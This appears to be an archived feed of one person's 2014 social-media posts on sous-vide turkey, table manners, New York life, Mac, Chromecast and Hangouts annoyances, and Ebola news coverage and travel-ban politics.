This one linked here (http://goo.gl/BCdQYF) at the website of PolyScience Culinary (the cooking division of a company that makes laboratory immersion circulators) is a bit innovative, in suggesting after boning you stuff the thighs. I wonder how much flavor you get from that; generally the reason—aside from tradition—for stuffing the bird, rather than baking a dressing casserole on the side—is that the juices and fat dripping into the cavity add so much flavor. Given how much of those juices and fat come from parts of the bird you don't eat, like the back and neck, I wouldn't think a thigh would add enough to a stuffing to make it worthwhile. I'm tempted to try it, though, just to see.

As nearly always with sous-vide, time and temp gives a choice between a slow cook at equilibrium temperature (where timing is irrelevant; once you reach temperature, you can hold the food there indefinitely with no chance of overcooking), or a faster cook at a higher-than-equilibrium temp (where timing is as important as any traditional cooking method, since you must stop before the bird reaches temp so it doesn't overcook).

For finishing, the favored methods seem to be deep-fat frying (much safer than frying a whole bird, and something I can actually do in a Manhattan apartment!), pan-searing, shallow frying (like fried chicken), high-temp roasting or broiling, or (of course) blowtorch.

So what to do?

If I were just winging it—pardon the pun—I think I would butcher the bird into wings, thighs, drumsticks, and boneless breasts, using five bags (each breast half getting a bag), and brine overnight in the bag. I wouldn't bother with stuffing or boning the thighs, since it's easier to just bake stuffing anyway. I'd then cook the turkey parts in a 64.0 °C (147 °F) bath—which is an equilibrium temp at ≥ 4 hours.

I chose 64.0 °C because that's a point where thighs are just done but breasts aren't overdone. I'm tempted to try medium-rare, which would be about 60.0 °C (140 °F), and should be perfectly safe after at least four hours in the water bath, but a) I don't want a big dinner with guests to be the first time I experiment with poultry at a temperature that would traditionally be considered "underdone", and b) I know many people are alarmed even by the natural pink of an well-done heirloom bird; I don't want anyone to reject the turkey untasted because of its color.

The finishing I'm leaning toward is a shallow-fat fry. At the expense of five extra vacuum bags, I can remove the parts one by one, pat dry, fry just long enough to get that browned skin, reseal in a new dry bag, and plop back into the bath to keep it warm while frying the contents of the next bag.

(This batching procedure would be a bad idea for fried chicken—another surprisingly good use for sous-vide—because, post-fry, the steam in the bag would make the crust soggy. I think it should be fine for a crustless skin like this. If you have firsthand experience to the contrary, let me know; I can still keep the cooked parts warm by other means.)

This all sounds good to me; the only thing missing is gravy. You can, in fact, make gravy just from the juices left in the bag post-cooking—though if you used the bag for brining, you probably need to take the brined meat out and seal it into a clean bag (or if you're using resealables, empty the bag of liquid), before cooking; otherwise most of the "juices" will actually be brine, which does not generally make a tasty gravy! But I think a modification of the way I usually make gravy with a traditionally-roasted spatchcocked bird will help here: after the back and neck are removed in spatchcocking, I put these bones into a second small roasting pan that goes into the oven with the bird; an hour or so later, with the bird still roasting, I remove the roasted bones and use them to make a quick turkey stock.

I think I could use basically the same process here: butcher the bird, put the meaty parts into the sous-vide bags, and put the rest into a roasting pan in the oven. While the meat is still cooking in the water bath, take out the roasted bones, reserving the rendered fat and juices, then make the turkey stock. When the meat is done, add the juices from the bags to the reserved juices from the roasting pan, defat, and make a gravy with those juices and the stock, using some of the turkey fat to make the roux. This seems to me like an easy way to make use of the juices left behind in the sous-vide bags, and still get those roasted flavors into the gravy.

I'm curious what you—especially, those of you who have been cooking sous-vide for awhile—think of my plan?

#thanksgivingdinner   #sousvide   #thanksgivingrecipes   #turkey  ___

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2014-11-14 20:03:40 (8 comments, 0 reshares, 3 +1s)Open 

If you use your Mac to power your phone or tablet, for various reasons you might want to disable Android File Transfer's automatic startup-on-connect. Some people just get annoyed at the bouncing icon and/or dialog box.

In my case, there's an outstanding bug (that seems to be consistent for some people) where the USB 3.0 Hi-Speed Bus wedges after disconnecting an Android device while Android File Transfer is running. This is kind of problematic: it's how a Mac laptop's internal keyboard and trackpad are connected, so if you don't have an external keyboard or mouse to connect, your only out is to powercycle the laptop. Oops.

Removing a startup item from Login Items is pretty simple (although most programs that add themselves to Login Items will, on update, add themselves again even if you've removed them; I'm not sure if Android File Transfer does this). But... more »

If you use your Mac to power your phone or tablet, for various reasons you might want to disable Android File Transfer's automatic startup-on-connect. Some people just get annoyed at the bouncing icon and/or dialog box.

In my case, there's an outstanding bug (that seems to be consistent for some people) where the USB 3.0 Hi-Speed Bus wedges after disconnecting an Android device while Android File Transfer is running. This is kind of problematic: it's how a Mac laptop's internal keyboard and trackpad are connected, so if you don't have an external keyboard or mouse to connect, your only out is to powercycle the laptop. Oops.

Removing a startup item from Login Items is pretty simple (although most programs that add themselves to Login Items will, on update, add themselves again even if you've removed them; I'm not sure if Android File Transfer does this). But disabling the agent (a "daemon", for us old Unix types) requires a bit of CLI pokery.___

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2014-11-13 22:03:38 (4 comments, 1 reshares, 4 +1s)Open 

Table manners: fraught-laden finger foods, and can we just stop worrying, already?

From the Gentleman Scholar: "It is always correct to treat roasted asparagus as a finger food." That's exactly what I learned as a kid, and I had the fancy-pants etiquette training Southerners still style as "cotillion school". But again and again, at dinner parties or in restaurants, I've found I startle people when I pick up a spear and munch.

I think a certain class-conscious hypercorrection results in over-fastidiousness in "fancy" dining situations, leading people to think the rule is "don't touch food with your fingers", resulting in comical attempts at eating sandwiches, fried chicken on the bone, or even corn on the cob with knife and fork.

And I'll grant the asparagus spear is probably the easiest of the "mandatory... more »

Table manners: fraught-laden finger foods, and can we just stop worrying, already?

From the Gentleman Scholar: "It is always correct to treat roasted asparagus as a finger food." That's exactly what I learned as a kid, and I had the fancy-pants etiquette training Southerners still style as "cotillion school". But again and again, at dinner parties or in restaurants, I've found I startle people when I pick up a spear and munch.

I think a certain class-conscious hypercorrection results in over-fastidiousness in "fancy" dining situations, leading people to think the rule is "don't touch food with your fingers", resulting in comical attempts at eating sandwiches, fried chicken on the bone, or even corn on the cob with knife and fork.

And I'll grant the asparagus spear is probably the easiest of the "mandatory finger-foods" to eat with utensils. There are plenty of other foods that seem to me worth much higher priority in the finger-dispensation line. Despite shrimp being a favorite food since childhood, I have never mastered the technique of removing the tail-shell from a partially-peeled shrimp or prawn without touching it—but yet, only completely unpeeled shrimp (or cocktail shrimp) are properly considered finger foods.

You can, of course, simply use your fork to spear the shrimp right at the point where shell ends, lift it to your mouth, and bite such that enough shrimp is left behind to transport the tail back to the plate on the fork, thus fulfilling the "anything returning to the plate must get there by the same means it left the plate" rule. But you waste half the meat this way! If you throw the rules out the window and reach into a saucy dish to extract a shrimp, you can do the same thing you do with shrimp cocktail—squeeze the bit of shell left to hold the tail in place to pop the meat into your mouth, returning the tail to your plate.

But at that point, you've made a hash of the fancy-pants etiquette rules—and, honestly, even the not-so-fancy-pants rules: reaching into a bowl of gumbo or a pasta dish to fish out a morsel is just disgusting.

(I know, I know: "in many cultures they eat the shrimp shells!" Firstly, people saying that, I've found, are almost always the ones not eating shrimp. Secondly, during most of the year, the Gulf and Atlantic shrimp that predominate in the U.S. have thicker, more chitinous shells than most other shrimp and prawn; if you try to eat an unpeeled shrimp whole, you're likely to end up with bleeding gums. Thirdly, dishes where shrimp are typically eaten with peel on either use just-molted shrimp (like soft-shell crabs), or flash-fry the shells into crispness the teeth can negotiate.)

With shrimp, chicken on the bone, or anything that's in the "sometimes finger-food" category, the same rules as with the asparagus applies: if it's saucy and integrated into a dish, you must use utensils; if it's saucy but not integrated into the dish (think a lobster boil or a shell-laden cioppino), you move the item with utensils onto the small plate that has been thoughtfully provided by your host¹, wait for it to cool and drip dry a bit, then eat it with fingers; but if it's very lightly sauced, such as roasted with olive oil or in a vinaigrette, it's a finger food, whether it's on a plate by itself, a garnish, or is itself the main attraction.

Cooks would do well to keep the etiquette of eating their dishes in mind. I always remove head, peel, and tail when I serve a dish like gumbo, so that guests aren't bound to choose between several unattractive options for disposing of those dratted uropods. Chefs who insist on serving tail-on shrimp in pasta, or fried chicken with gravy already slathered on, or whole spears of asparagus mixed in with a chopped salad or other precut mélange (which is the bigger no-no, taking knife and fork to your salad, or reaching into it to extract the asparagus?) are reducing enjoyment of their dish due to diner awkwardness, no matter how good it otherwise would be.² 

I have the following attitude about table manners:

- Be aware of what's considered "proper", but be relaxed in its application.

- If you find yourself in a dilemma or novel situation, avoid a turgid internal exegesis on the rules of propriety—and for heaven's sake, avoid a discussion of what's proper!—and just do something to diffuse and move on; if possible, try to do it with some aplomb, as if it's the most natural resolution in the world. One discomfitted person can turn a dinner party sour; so don't be that person!

- Never correct another diner's table manners, either with words or with body language. (You may very well be "wrong" by the fussiest of rules, like those who stared at my picking up asparagus.) In the hierarchy of dining-table incidents, failure to follow some arbitrary rule ranks well below causing an awkward silence, and that ranks even farther below diners taking it upon themselves to correct another.

-  Contrariwise, if a fellow diner seems flummoxed about a situation, you can and should offer assistance, but you must do so in a way that doesn't shame your mate in front of the whole party. If you're in a position to do so, like at a dinner party or having a restaurant tasting menu where everyone's eating the same dish, you can lead by example. If not, you can make it a topic of conversation: glance at your friend's plate (before they've done something that's garnered attention, otherwise you're engaging in the unforgivable, public correction!), and say, "I always wondered what you were supposed to do with mussels in the shell; eating them seems so messy. Then I found out..." If you're sitting next to the distressed dinner, you may be tempted to whisper advice. Don't! It's always rude to whisper to someone during a meal, and in any case, you'd have to whisper something that would sound like a correction, which we've already established you don't do, right?³

- If someone does commit an error so great that others at the table are clearly uncomfortable, it's time for misdirection and razzle-dazzle. I once was eating at a restaurant with some colleagues at a conference, and one diner picked up an enormous porterhouse steak and began tearing at it with his teeth. He wasn't even gnawing at the last bits on the bone he couldn't get to with knife and fork (which is acceptable en famille, and I might do it with friends; at that point, how is it so different than eating ribs?), but bringing an entire, enormous, steak to his mouth and dispensing with the utensils entirely. Everyone froze for a moment, but then a man directly across from the steak-eater, who has some zinger stories, started telling one of his barn-burners—one that involved lots of demonstrative gesturing and facial expressions, so every had to keep their eyes on him. It was brilliant, and by the time he was finished, the newly-denuded bone was safely back on the plate.

Remember whatever the circumstances, you're supposed to be there to enjoy yourself, not to impress anyone, or, worse yet, to be in fear of humiliating yourself. (And you certainly aren't there to humiliate your companions.) Judith Martin, "Miss Manners", has told a story about a time when, after the dishes were cleared at a restaurant of some Asian cuisine with which the diners weren't familiar, the owner proudly brought out what looked like a punch bowl with ladle, placed it in the center of the table, and then doled out small empty glass bowls to each diner before retreating to the kitchen. 

The party stared at one another, unsure of what to do. Then one took the ladle and filled his bowl with a slightly cloudy liquid. Lacking utensils, he lifted it to his nose, sniffed—pleasantly citrusy—and took a sip. Bland, warm, lemony. A palate cleanser of some sort? The other diners followed suit filling their bowls, and pretty soon they were all slurping at their warm lemon soup. When the owner returned, they murmured their appreciation and approval, but the owner was flabbergasted—by all these crazy white people drinking their finger-bowls. It was "wrong" (for a rather less completely arbitrary definition thereof than most violations of table manners), but it wasn't rude, it was funny, and a story that all the diners cherished.

An attitude of gusto trumps all. Remember Colonel Sanders: "finger-lickin' good" was supposed to be a good thing. Think how much better things would go if, when a diner saw another "break the rules", he or she smiled and reacted as if the violation were a lovely thing, evidence of such enjoyment that all stuffiness must be dispensed with!

¹ If your host wasn't so thoughtful, you must improvise and use your bread plate, the plate on which the bowl was set, the rim of the bowl, or, as last resort, simply lever (not spear) the item out of the liquid with fork, let it drain, then pick it up from the fork.

² If you go to a truly innovative world-class restaurant, you'll notice that when a novel dish requiring something unusual of the diner is presented, the presenter will softly murmur not just a description of the dish, but instructions on how to go about eating it. ("Tear open the bag of scented mist before you begin to eat.") Awkwardness successfully avoided.

³ There are exceptions. If you're friends with someone about to make a gaffe that could cause a sure-to-be-overblown incident—say, your friend, required to make a formal toast at a wedding reception, about to rise with an empty glass in hand—by all means, grab at his sleeve, keep him in his chair, and advise him, sotto voce, to wait until his glass is filled.___

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2014-11-10 19:24:07 (13 comments, 0 reshares, 31 +1s)Open 

I love the videos of the great +Tom Scott​... It's been a pleasure the past week as he's been in New York, and in fact, in my neighborhood.

Like a lot of transplanted New Yorkers, I tend to know more than the native-born about this kind of stuff, like the liquid nitrogen canisters on the sidewalk, because it's so weird that I had to find out what it was. Natives never even notice.

I can go on for hours just on the many weirdnesses of the subway, from the easy (what's the difference between the numbered and letter train lines?), to the somewhat obscure (why is there a sign with nothing but zebra stripes on every platform?), to the truly esoteric (why do conductors always give a thumbs-up sign, with their hand outside the train window, when they arrive?)

This stuff is great.

(Want the answers to these? I'll give commenters a few hours to see ift... more »

I love the videos of the great +Tom Scott​... It's been a pleasure the past week as he's been in New York, and in fact, in my neighborhood.

Like a lot of transplanted New Yorkers, I tend to know more than the native-born about this kind of stuff, like the liquid nitrogen canisters on the sidewalk, because it's so weird that I had to find out what it was. Natives never even notice.

I can go on for hours just on the many weirdnesses of the subway, from the easy (what's the difference between the numbered and letter train lines?), to the somewhat obscure (why is there a sign with nothing but zebra stripes on every platform?), to the truly esoteric (why do conductors always give a thumbs-up sign, with their hand outside the train window, when they arrive?)

This stuff is great.

(Want the answers to these? I'll give commenters a few hours to see if they know. No web searching, that's cheating!)___

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2014-11-09 21:48:10 (5 comments, 1 reshares, 3 +1s)Open 

Website security question whinge of the day:

Doing some housecleaning on my password/personal data safe, LastPass, and looking through the frequent-flier section, noticed that I'd apparently never created a Delta Airlines account.

So I just tried to register, and found this rather weird choice for an airline's website (see the screenshot). Not only is it a bad choice in general since it's subject to change, so you must remember when you set the security question, but for an airline, wouldn't you think they'd kinda be hoping the answer would change? :-)

Website security question whinge of the day:

Doing some housecleaning on my password/personal data safe, LastPass, and looking through the frequent-flier section, noticed that I'd apparently never created a Delta Airlines account.

So I just tried to register, and found this rather weird choice for an airline's website (see the screenshot). Not only is it a bad choice in general since it's subject to change, so you must remember when you set the security question, but for an airline, wouldn't you think they'd kinda be hoping the answer would change? :-)___

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2014-10-30 20:01:21 (4 comments, 1 reshares, 3 +1s)Open 

I've noticed quite a few LGBT folks, especially gay men, active on threads about proposed Ebola restrictions. This is one reason why.

I've noticed quite a few LGBT folks, especially gay men, active on threads about proposed Ebola restrictions. This is one reason why.___

2014-10-27 21:14:52 (35 comments, 2 reshares, 29 +1s)Open 

Ebola panic on the A train?

Unbelievable. Heading to a doctor's appointment (ironically enough, during which I got my flu shot), I just got onto an otherwise totally packed rush-hour A train car where I could see a small section had plenty of room--it was almost empty.

Although I boarded the car through the nearest doors to the sparse spot, I was prepared to move. Because this behavior isn't that unusual on the New York subway. Usually when you see it, it means there's a pungent homeless person sleeping there, or there's something disgusting on the floor in that spot.

But no... It was a woman in surgical scrubs standing in the middle of the car, holding the subway pole. Not unusual either--someone taking the subway home in scrubs, I mean. What was unusual was the lack of other riders within a five-foot radius.

I went over and grabbed the... more »

Ebola panic on the A train?

Unbelievable. Heading to a doctor's appointment (ironically enough, during which I got my flu shot), I just got onto an otherwise totally packed rush-hour A train car where I could see a small section had plenty of room--it was almost empty.

Although I boarded the car through the nearest doors to the sparse spot, I was prepared to move. Because this behavior isn't that unusual on the New York subway. Usually when you see it, it means there's a pungent homeless person sleeping there, or there's something disgusting on the floor in that spot.

But no... It was a woman in surgical scrubs standing in the middle of the car, holding the subway pole. Not unusual either--someone taking the subway home in scrubs, I mean. What was unusual was the lack of other riders within a five-foot radius.

I went over and grabbed the same pole, and saw people looking at me and flicking their eyes to the woman, with that nonverbal warning you get sometimes from New Yorkers on the train: You just got on the train, so you don't know, but that person seems dangerous.

I talked with her briefly until she got off at the next stop. She really seemed shaken. She said it was the first time this had happened, not even on the train she'd transferred from.

I didn't think to ask what her job was or where she worked, but if she was on that train going in that direction at that station, she most definitely was not coming from Bellevue Hospital, where Ebola patient Dr. Craig Spencer and the 5-year-old boy under observation are being treated.

Incredible.___

2014-10-25 19:30:21 (6 comments, 0 reshares, 3 +1s)Open 

Inbox: per-label alert sounds?

I don't see a an official G+ Community for Inbox or I'd ask this there.... I've always been a Gmail filter-and-label freak, even before I had Android, but since Android it's become essential for surfacing mail I need to deal with immediately without getting Android notifications for every random email I might receive.

One thing I particularly like with Gmail is that labels can each have different notification settings. So, for instance, I have a tone different from all others when I get an important news alert—it tells me I might want to pull the phone out of my pocket and take a look right away.

Even better, I have a tone I use only for notifications of delivered packages. That one is great because I don't even have to pull my phone out; if I hear that sound, and I'm at home, I can just go down to the lobby andg... more »

Inbox: per-label alert sounds?

I don't see a an official G+ Community for Inbox or I'd ask this there.... I've always been a Gmail filter-and-label freak, even before I had Android, but since Android it's become essential for surfacing mail I need to deal with immediately without getting Android notifications for every random email I might receive.

One thing I particularly like with Gmail is that labels can each have different notification settings. So, for instance, I have a tone different from all others when I get an important news alert—it tells me I might want to pull the phone out of my pocket and take a look right away.

Even better, I have a tone I use only for notifications of delivered packages. That one is great because I don't even have to pull my phone out; if I hear that sound, and I'm at home, I can just go down to the lobby and get my package.

Anyway... is there a way to do the same with Inbox? I don't see one; there are per-label ("bundle") notification settings, but they're just binary—turn on or off vibrate, turn on or off sound, turn on or off the LED.

It's not a huge deal now, as I can just leave the Gmail app running and let it do the heavy lifting. But assuming I didn't miss the feature and it really isn't there, I wonder if it's a "on the list but didn't make it in time" feature, a "we've taken it under advisement but it's a low priority" feature, or a "we have decided not to implement that" feature.

#googleinbox  ___

2014-10-25 04:23:25 (15 comments, 0 reshares, 1 +1s)Open 

Am I the only one who can never watch a television series in order on Amazon Prime without keeping track of what episode I'm on, because no matter how many times I watch the making-of "episode 0" featurette, it always thinks I still need to watch the last second of its credits one more time to "finish" it, so the next unwatched episode in the series is always that same "episode 0"?

I suspect I'm the only one. It seems like the kind of thing that would happen just to me for no rational reason except the universe hating on me.

This is consistent to my account, not the device, too; I can switch from my Samsung TV app to web to Playstation to Xbox and they all continue to demand I watch the last second of episode 0 one more time....

#amazonprimeinstantvideo  

Am I the only one who can never watch a television series in order on Amazon Prime without keeping track of what episode I'm on, because no matter how many times I watch the making-of "episode 0" featurette, it always thinks I still need to watch the last second of its credits one more time to "finish" it, so the next unwatched episode in the series is always that same "episode 0"?

I suspect I'm the only one. It seems like the kind of thing that would happen just to me for no rational reason except the universe hating on me.

This is consistent to my account, not the device, too; I can switch from my Samsung TV app to web to Playstation to Xbox and they all continue to demand I watch the last second of episode 0 one more time....

#amazonprimeinstantvideo  ___

2014-10-24 22:51:45 (27 comments, 0 reshares, 2 +1s)Open 

Hangouts and shared computers?

After installing the newest Hangouts app and merging Google Voice into it, I was prompted to do the same on Chrome. Once I did so on my laptop, Chrome Sync installed it on my profile on the shared living room computer as well.

Now, if I'm somewhere else on my laptop or even wandering around town using Android, my chats appear on the living room desktop too whenever I'm active, even if someone else is using the machine on their profile. This is superbly annoying, and it's also a soft-privacy issue.

"Soft privacy" is a phrase I came up with during some internal discussions at Google; maybe there's an official name for it in the literature, but if so, I haven't seen it. Soft privacy is when custom rather than rigid controls protect your privacy. Think of it like your unlocked but closed bedroom door during a... more »

Hangouts and shared computers?

After installing the newest Hangouts app and merging Google Voice into it, I was prompted to do the same on Chrome. Once I did so on my laptop, Chrome Sync installed it on my profile on the shared living room computer as well.

Now, if I'm somewhere else on my laptop or even wandering around town using Android, my chats appear on the living room desktop too whenever I'm active, even if someone else is using the machine on their profile. This is superbly annoying, and it's also a soft-privacy issue.

"Soft privacy" is a phrase I came up with during some internal discussions at Google; maybe there's an official name for it in the literature, but if so, I haven't seen it. Soft privacy is when custom rather than rigid controls protect your privacy. Think of it like your unlocked but closed bedroom door during a dinner party. Or a document you're reading on a park bench, where a stranger could try to read it over your shoulder.

In many families or couples, each person's email only has soft privacy from other family. You could log in and out of the shared desktop, but with profiles, why bother, if you trust your cohabitant(s) not to snoop?

Soft privacy is usually something product designers don't have to worry about. But it becomes a technical issue when "personalized pushes" happen. Like email notifications on a TV set-top box, letting everyone who came over to watch the game see when you get a response on the dating site, or calendar notifications on a shared machine, letting your spouse know that it's time for you to pick her up for her surprise party. These are soft privacy push violations.

(Soft privacy push violations are why at Google, I didn't use Chrome profiles for my http://gmail.com and http://google.com accounts; instead, I ran Chrome Canary with one account and stable Chrome with the other. It's not that I didn't trust profiles, it's that I could completely prevent popups on my personal account while at work by quitting the other browser.)

And the new Hangouts app is the mother of all soft privacy push violations. Yesterday I was texting with my boyfriend's relatives about his birthday plans. Not only would he see the messages flash up onto the desktop, but my boyfriend couldn't even choose not to see them if he wanted to, unless he wanted to quit Chrome altogether; even if he minimized the text and chat windows, every time a new message came in, the window re-expanded.

It's bad enough that by default the Hangouts app pushes potentially private info up for anyone to see. But it's is even worse than that, because it actively prevents you even from managing your privacy manually. As far as I can tell, there is simply no way for me to use Hangouts on another machine or device without them popping up on the shared desktop without turning off Chrome Sync.

If you sign out of Hangouts on the desktop, you get signed out everywhere else as well. If you uninstall the app from Chrome on the desktop, Chrome uninstalls it everywhere else.

I checked, and you can even disconnect your Google account from Chrome, and Hangouts will remain signed in, and will force other computers to sign in and out in lockstep.

I hope I'm missing something, because it appears to me that the only choices in this situation are:
1) Don't use a Google account on Chrome on a shared computer, losing all the features you gain from that;
2) Create a second Google account for use on the shared computer—basically the same as #1 since you can't share the account elsewhere
3) Don't use Hangouts on the shared computer, make Chrome Sync stop syncing apps, and delete the Hangouts app on the shared computer. This isn't terrible, since chances are you install and remove Chrome extensions and apps rarely enough that doing it manually isn't a big deal.___

2014-10-24 17:28:17 (3 comments, 0 reshares, 0 +1s)Open 

Why are congressmen named "Trey" universally such asses?

Why are congressmen named "Trey" universally such asses?___

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2014-10-24 16:51:15 (7 comments, 3 reshares, 27 +1s)Open 

Did you know: Chromecast fullscreen-in-tab is better now?

An old annoyance of the Google Cast extension is now rectified. This is old news (it happened on the beta channel in April, though I'm not sure when it went to stable) but I only noticed it a month or so ago—who regularly reads release notes or regularly retries things that don't work?—so I bet some of you missed it too.

From the start, if you wanted to watch a video on your Chromecast with a web viewer that didn't have its own Cast button—as YouTube and a growing number of other sites do—you could use this Chrome extension which cast the entire tab, redirecting the tab's audio out the HDMI interface to your television or home theater system.

But until sometime this year, there was a downside: if you wanted the video to fill your TV screen, you had to set the video to fullscreen, whichcaused ... more »

Did you know: Chromecast fullscreen-in-tab is better now?

An old annoyance of the Google Cast extension is now rectified. This is old news (it happened on the beta channel in April, though I'm not sure when it went to stable) but I only noticed it a month or so ago—who regularly reads release notes or regularly retries things that don't work?—so I bet some of you missed it too.

From the start, if you wanted to watch a video on your Chromecast with a web viewer that didn't have its own Cast button—as YouTube and a growing number of other sites do—you could use this Chrome extension which cast the entire tab, redirecting the tab's audio out the HDMI interface to your television or home theater system.

But until sometime this year, there was a downside: if you wanted the video to fill your TV screen, you had to set the video to fullscreen, which caused the tab on Chrome to go fullscreen; if you exited from fullscreen, Chromecast went back to displaying the entire tab. So your PC running Chrome was basically dedicated to driving the Chromecast. You couldn't use the PC for anything else, and I found the video on the PC distracting, playing a bit ahead of what was displayed on the TV.

No more. Now, if you cast the tab and then click the fullscreen button on the web video viewer, the video fills the screen, but the cast tab itself does not. So you can switch to another tab, even minimize the tab with the video, and it will keep going in the Chromecast.

Very nice.

(On the other hand, speaking of website dimension problems, I tried to write this from the +1 button on the linked Chrome Web Store page, but the Share button was off-screen, and the page isn't scrollable when an extension's popup is visible. I had to fullscreen the tab so that an edge of the Share button was clickable....)

Update, 25 Oct 2014 13:49 EDT: I've found at least one exception to the feature: QuickTime videos. When you click the fullscreen button on their players (at least on Mac), they apparently don't alter the dimensions of the tab being cast and instead open a new window in full screen which the extension doesn't know to cast. (For an example, see the Scrivener intro video at http://goo.gl/TyW8TN.)

There is a partial workaround by using the experimental "Cast entire screen" option, which can be accessed by clicking the small popup menu (represented by a triangle in a box) on the top-right of the extension's popup (the thing you get when you click what's circled in the below image). Then you can get fullscreen of QuickTime movies, too. 

But this is an imperfect workaround; for one thing, the PC running Chrome is once again dedicated to that use, since changes to what's on its screen will be reflected on the TV, so you can't switch tabs or windows without obscuring the video. Also, at least on Mac, the audio does not get shunted to Chromecast, so it comes out of the laptop's speakers.

Honestly, for this case—a pretty rare one—it would be easier to just use my mini-DisplayPort to HDMI cable (which can transmit both video and audio, provided the deices on either side can do so). On Macs at least, since the TV is then simply considered a second atteched display, that even lets you continue to use the Mac for other things even as it continues to pmup the video to the TV.

You just have to ensure display mirroring is turned off (using the Display preference pane in System Preferences), that the TV is not the primary display (by, in the same Display preference pane, clicking the Arrangement tab and dragging the schematic menubar to another display if it isn't already there), and making sure the QuickTime video is displayed on the TV by dragging the window to it before clicking the fullscreen button. For maximum flexibility, also make sure, in the Mission Control pane in System Preferences, that "Displays have separate Spaces" is checked.

Update 2, 25 Oct 2014 14:41 EDT: I left out an important part about using an HDMI device as a second monitor for full-screen videos: you probably want sound to come out of your TV or home theater system rather than the Mac. So in that case, you may need to open the Sound preference pane in System Preferences, go into the Output tab, and select the HDMI interface as the output device. (If your TV or A/V receiver has Apple AirPlay support, there may be two items in the list for your TV or Receiver. In that case, you need to click on the list item with "HDMI", not "AirPlay", in the Type column.___

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2014-10-23 15:36:07 (2 comments, 8 reshares, 5 +1s)Open 

Every once in a while, something happens in a remote part of the world, where even Open Street Map has no data. In those cases, the map department will work from satellite imagery and draw a map from hand, Wallace says. “That’s something they’re very good at, and fast.”

Every once in a while, something happens in a remote part of the world, where even Open Street Map has no data. In those cases, the map department will work from satellite imagery and draw a map from hand, Wallace says. “That’s something they’re very good at, and fast.”___

2014-10-22 18:52:19 (3 comments, 1 reshares, 2 +1s)Open 

I'm watching the RCMP press conference live and have all three cable news outlets running simultaneously. It seems like the cable news networks must be petrified about how quickly Americans will switch the channel if they hear a foreign language.

On two channels, they kept cutting away the audio back to the anchor whenever a speaker gave a statement in French, then returning once English had resumed. On the third (guess which) they just cut away entirely, and never went back, after the first French sentence.

Then one of the police chiefs started doing the self-translation thing you hear a lot from Canadian anglophone politicians: saying a sentence in English, then repeating the sentence in French, then switching back to English again. That must've given the producers the heebie-jeebies.

Then the Q&A began, and as is typical in the Canadian press conferences... more »

I'm watching the RCMP press conference live and have all three cable news outlets running simultaneously. It seems like the cable news networks must be petrified about how quickly Americans will switch the channel if they hear a foreign language.

On two channels, they kept cutting away the audio back to the anchor whenever a speaker gave a statement in French, then returning once English had resumed. On the third (guess which) they just cut away entirely, and never went back, after the first French sentence.

Then one of the police chiefs started doing the self-translation thing you hear a lot from Canadian anglophone politicians: saying a sentence in English, then repeating the sentence in French, then switching back to English again. That must've given the producers the heebie-jeebies.

Then the Q&A began, and as is typical in the Canadian press conferences I've seen, the officials replied in whichever language the question was asked. The first was in French. Both CNN and MSNBC gave up at that point.

MSNBC tried to go back to the presser after a number of questions had been asked in English, just in time for an official to say "last question, from you behind the camera"... which was asked in French.

I'm imagining what the news producers must think about the reaction: I don' wanno frenchican on my tee vee, no sirree! Why can't they just learn English like the rest of us?___

2014-10-22 15:53:11 (0 comments, 0 reshares, 5 +1s)Open 

Goodness, what a conundrum for the cable news networks: Ebola press conference coming up in 10 minutes. Cut away from live Ottawa Parliament shooting coverage?

My bet is they're going split-screen. I'll also lay even money on at least one of the networks going split-screen, but keeping the audio to the shooting, so that the press conference is just silent video of people talking about Ebola.

Update, 12:19 EDT: And the answer is Parliament shootings on all three (Fox, CNN, and MSNBC—I don't have Al Jazeera America, which I'd count if I did, or RT, which I wouldn't count even if I did).

So, it seems like the inequality is:

live video + shooting + possible islamic extremist connections + breaking - foreign > live video + ebola + very good news¹ + domestic  - non-breaking - potential for boring scientific talk

¹ Where verybad ... more »

Goodness, what a conundrum for the cable news networks: Ebola press conference coming up in 10 minutes. Cut away from live Ottawa Parliament shooting coverage?

My bet is they're going split-screen. I'll also lay even money on at least one of the networks going split-screen, but keeping the audio to the shooting, so that the press conference is just silent video of people talking about Ebola.

Update, 12:19 EDT: And the answer is Parliament shootings on all three (Fox, CNN, and MSNBC—I don't have Al Jazeera America, which I'd count if I did, or RT, which I wouldn't count even if I did).

So, it seems like the inequality is:

live video + shooting + possible islamic extremist connections + breaking - foreign > live video + ebola + very good news¹ + domestic  - non-breaking - potential for boring scientific talk

¹ Where very bad news > very good news > controversially mixed news > bad news > good news > neutral news > uncontroversially mixed news.___

2014-10-19 00:27:31 (2 comments, 0 reshares, 12 +1s)Open 

Are Ebola travel ban proponents unmoved, engaging in magical thinking, or both?

I just heard an especially apt word used to describe the reaction of many of those advocating a travel ban to hearing the objections of epidemiologists: "unmoved". If you can look at what the likely results of a travel ban would be and continue to think it's the right thing to do, the only explanation I can come up with is that you're unmoved at the plight of twenty million Africans in the affected areas. 

But even if you're being purely nationalistic—if you think it doesn't matter if every last man, woman and child in West Africa dies of Ebola, if we can keep one more case from happening here—there's also some sort of magical thinking going on in order to believe that a travel ban will have that result. 

Commercial transport would be eliminated,healt... more »

Are Ebola travel ban proponents unmoved, engaging in magical thinking, or both?

I just heard an especially apt word used to describe the reaction of many of those advocating a travel ban to hearing the objections of epidemiologists: "unmoved". If you can look at what the likely results of a travel ban would be and continue to think it's the right thing to do, the only explanation I can come up with is that you're unmoved at the plight of twenty million Africans in the affected areas. 

But even if you're being purely nationalistic—if you think it doesn't matter if every last man, woman and child in West Africa dies of Ebola, if we can keep one more case from happening here—there's also some sort of magical thinking going on in order to believe that a travel ban will have that result. 

Commercial transport would be eliminated, healthcare exemption or not—you can't legislate businesses to operate unprofitably, and the Ebola response travel and shipping isn't enough to sustain the entire transport industry of three countries. So far fewer aid workers will get in—when we desperately need to get many, many more in as quickly as possible. 

Right now the situation in West Africa is literally out of control; new cases and deaths are rising, and so is the first derivative, and so is the second derivative: if we simply resign ourselves to even maintaining the current level of aid we can expect by the end of the year more deaths per day than the total who have died thus far. And it isn't clear than under a travel ban we'd even be able to maintain the current level, not unless the United States commits to replacing all the commercial transport.

And in such a desperate situation, people will do whatever they can to get out. Some of them will manage to do so. Some of them will get to the United States. And, having arrived under a travel ban, if they start to experience symptoms, they will not do what we most need them to do then, at the most important moment in stopping Ebola's spread: go directly to a hospital and honestly admit they've been to an affected region so we can treat them, for their own sake, and isolate them, for everyone else's.

